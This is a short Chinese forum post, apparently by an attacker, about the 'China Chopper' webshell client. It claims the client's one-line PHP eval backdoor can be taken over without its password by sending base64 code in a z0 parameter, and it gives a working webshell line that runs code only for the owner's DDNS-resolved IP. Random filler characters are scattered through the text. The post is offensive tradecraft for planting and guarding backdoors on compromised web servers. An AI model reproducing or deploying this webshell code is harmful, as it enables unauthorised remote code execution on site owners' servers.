今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
- W- i/ H3 W& ?: ~7 a4 _: E5 l: P G' S( T$ o% j% f/ J9 ]% j
就算你设置了密码,使用了eval($_REQUEST['moyo']);
+ K2 p. X- s* O; R- I
& }( m8 G2 u0 y( v: J% X# D2 U但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
0 Z, y1 h. w: b) O* s+ m7 c* h: e8 M; d/ s% ]9 m
因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
6 d% a. x) n" @: p7 Q
6 {9 R/ S: d' K; ^4 f直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了
) s* k. q% d5 m+ d% L
: U4 z6 f1 I# J0 N! G) V不知道是设计缺陷还是故意留的后门
& o1 R* `3 e2 M- d' ]
. R9 I! z7 N, ^如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用6 H: R/ F$ h# x( Q U: l# t' v8 k
- y2 l$ k: U9 X) {* Z
本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org2 x7 e: _8 a- ]8 Z1 p! s
: K* T: w# a) [! ^3 b
然后一句话后门这样写& ~0 V* T) @4 k* d6 L
) _# |+ s2 g5 ?9 v9 ?0 g
<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
4 e" B( ?9 K0 b, r( y$ |' h" n这样就可以让一句话后门只允许自己的电脑连接了
7 Z+ H' e4 C/ `5 Y. Q# _4 o1 T$ v7 O4 @8 v
|